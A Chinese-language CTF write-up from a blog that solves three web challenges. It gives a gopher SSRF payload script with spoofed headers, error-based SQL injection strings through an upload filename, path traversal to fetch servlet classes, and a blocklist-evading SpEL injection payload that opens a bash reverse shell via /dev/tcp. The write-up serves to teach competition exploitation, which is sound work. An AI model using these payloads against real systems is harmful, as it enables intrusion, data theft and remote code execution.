第二届网刃杯web

ssrf_signin

image-20220427212427171

打开一看,是一个很典型的ssrf的题,先用file协议看看能不能直接读到flag,不能的话再扫内网

image-20220427212417826

发现读不到,那就考虑扫一下内网看一下有没有其它存活的主机

image-20220427212519427

首先读取/etc/hosts文件拿到内网ip:172.73.23.21,然后可以直接用http协议进行爆破

image-20220427212957422

扫到一个,内网ip为172.73.23.100的服务,提示叫我穿一个get形式的参数a,这时候我们可以直接再后面拼接参数a,比如下面这样

image-20220427213215370

然后又叫我们传一个post参数,那就必须要使用gopher协议了,直接上脚本

import urllib.parse

payload = """POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

b=1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://172.73.23.100:80/' + '_' + new
result = urllib.parse.quote(result)
print(result)  # 因为是GET请求所以要进行两次url编码

image-20220427213716592

继续构造xff头

POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1

b=1

image-20220427213824599

继续构造refer头

POST /?a=1 HTTP/1.1
Host: 172.73.23.100
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
X-Forwarded-For: 127.0.0.1
Referer: bolean.club

b=1

image-20220427213920424

拿到flag: flag{Have_A_GoOd_T1m3!!!!!!}

upload

提示说sqlyyds,说明可能跟SQL注入有关

image-20220427214524657

说type必须是type,那就抓包修改一下type

image-20220427214622904

发现能直接上传php文件

image-20220427214657822

他说不解析php文件,然后就试着找一下是否存在注入点

image-20220427214838923

我在文件名这里加了一个单引号,结果爆出了一个sql错误,那应该就是了

insert into upload_file values('5da2dfa1bb0e764ca4ebdd7028450f61.php'union select 1,2,3,4%23')

这里能看到整个sql语句,没有回显,可以尝试使用报错注入,这里可以使用or '进行闭合

image-20220427215456642

拿到数据库名upload,下面就是很常规的sql注入流程了

爆数据库
a' or extractvalue(1,concat('~',database(),'~')) or '

爆表
a' or extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='upload'),'~')) or '

image-20220427215908990

这里发现.会被当做文件拓展名的分隔符,所以就不能直接使用.了,那就只能猜测flag所在的表和列,一般来说应该不会很复杂

image-20220427220953299

结果就是很简单的flag.flag

Payload:
前半段
a' or extractvalue(1,concat('~',(select group_concat(flag) from flag),'~')) or '
flag{5937a0b90b5966939cccd36929
后半段
a' or extractvalue(1,concat('~',mid((select group_concat(flag) from flag),28,28),'~')) or '
69291c68aa}
flag:
flag{5937a0b90b5966939cccd369291c68aa}

ez_java

image-20220427221955296

打开发现有个下载文件的功能,/download?filename=

image-20220427222113316

一直往上层读文件,直到第三层的时候拿到一个html文件,这个估计就是java的web.xml目录了

image-20220427222313839

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>com.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>TestServlet</servlet-name>
        <servlet-class>com.abc.servlet.TestServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>TestServlet</servlet-name>
        <url-pattern>/test388</url-pattern>
    </servlet-mapping>

</web-app>
124.222.173.163:8024/download?filename=../../../classes/com/abc/servlet/TestServlet.class
    /test388
124.222.173.163:8024/download?filename=../../../classes/com/abc/servlet/DownloadServlet.class
    /download

然后拿到IDE上面反编译一下,得到源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
// DownloadServlet.class
//

package com.abc.servlet;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DownloadServlet extends HttpServlet {
    public DownloadServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String fileName = request.getParameter("filename");
            fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
            System.out.println("filename=" + fileName);
            if (fileName != null && fileName.toLowerCase().contains("flag")) {
                request.setAttribute("message", "read error");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            int count = this.countSubFromString(fileName, "../");
            if (count > 0 && count != 3) {
                request.setAttribute("message", "invalid filename");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
            String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
            File file = new File(path + "/" + fileName);
            if (!file.exists()) {
                request.setAttribute("message", "file is not exist");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            String realname = fileName.substring(fileName.indexOf("_") + 1);
            response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
            FileInputStream in = new FileInputStream(path + "/" + fileName);
            ServletOutputStream out = response.getOutputStream();
            byte[] buffer = new byte[1024];
            boolean var12 = false;

            int len;
            while((len = in.read(buffer)) > 0) {
                out.write(buffer, 0, len);
            }

            in.close();
            out.close();
        } catch (Exception var13) {
            request.setAttribute("message", "error");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        }

    }

    private String findFileSavePathByFileName(String filename, String saveRootPath) {
        int hashCode = filename.hashCode();
        int dir1 = hashCode & 15;
        int dir2 = (hashCode & 240) >> 4;
        String dir = saveRootPath + "/" + dir1 + "/" + dir2;
        File file = new File(dir);
        if (!file.exists()) {
            file.mkdirs();
        }

        return dir;
    }

    private int countSubFromString(String src, String sub) {
        int count = 0;

        for(int pos = 0; src.indexOf(sub, pos) >= 0 && pos < src.length(); pos = src.indexOf(sub, pos) + sub.length()) {
            ++count;
        }

        return count;
    }
}

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
// TestServlet.class
//

package com.abc.servlet;

import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class TestServlet extends HttpServlet {
    public TestServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String name = request.getParameter("name");
            name = new String(name.getBytes("ISO8859-1"), "UTF-8");
            if (this.blackMatch(name)) {
                request.setAttribute("message", "name is invalid");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            System.out.println(name);
            String message = this.getAdvanceValue(name);
            request.setAttribute("message", message);
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        } catch (Exception var5) {
            request.setAttribute("message", "error");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        }

    }

    private boolean blackMatch(String val) {
        String[] var2 = this.getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                return true;
            }
        }

        return false;
    }

    private String getAdvanceValue(String val) {
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(val, parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }

    private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }
}

image-20220428100312040

发现这里有个的spel注入点,且加了一个黑名单过滤

private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }

image-20220429131312071

接着把它移植到本地环境来试一下payload

import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class demo {
    public static void main(String[] args) {
        String name = "Runtime";
        if (blackMatch(name)) {
            System.out.println("done");
            return;
        }
        System.out.println(name);
        System.out.println(getAdvanceValue(name));
    }


    public static boolean blackMatch(String val) {
        String[] var2 = getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                return true;
            }
        }

        return false;
    }
    public static String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }
    public static String getAdvanceValue(String val) {
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(val, parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }
}

image-20220429142305568

image-20220429151810967

成功弹到计算机,然后把黑名单加上,改一下payload如下

#{T(String).getClass().forName("java.la"+"ng.Run"+"time").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.la"+"ng.Run"+"time").getMethod("getR"+"untime").invoke(T(String).getClass().forName("java.la"+"ng.Run"+"time")),new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/xxxxxx/2333 0>&1"})}

image-20220429154726216

image-20220429154651537

ez_js

posted @ 2022-04-30 17:56  pysnow  阅读(64)  评论(0编辑  收藏  举报